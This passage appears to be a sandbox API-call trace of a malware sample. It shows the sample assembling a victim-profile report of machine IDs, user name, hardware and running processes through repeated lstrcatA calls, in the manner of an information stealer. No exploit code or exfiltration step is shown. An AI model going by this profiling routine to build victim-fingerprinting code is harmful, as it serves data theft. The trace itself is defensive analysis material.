[2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n"
[0054.860] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x128, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1
[0054.860] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- "
[0054.860] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- ", lpString2="iexplore.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe"
[0054.860] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe ["
[0054.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9b8
[0054.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.861] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [", lpString2="2984" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984"
[0054.861] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n"
[0054.861] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="series_others.exe")) returned 1
[0054.862] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- 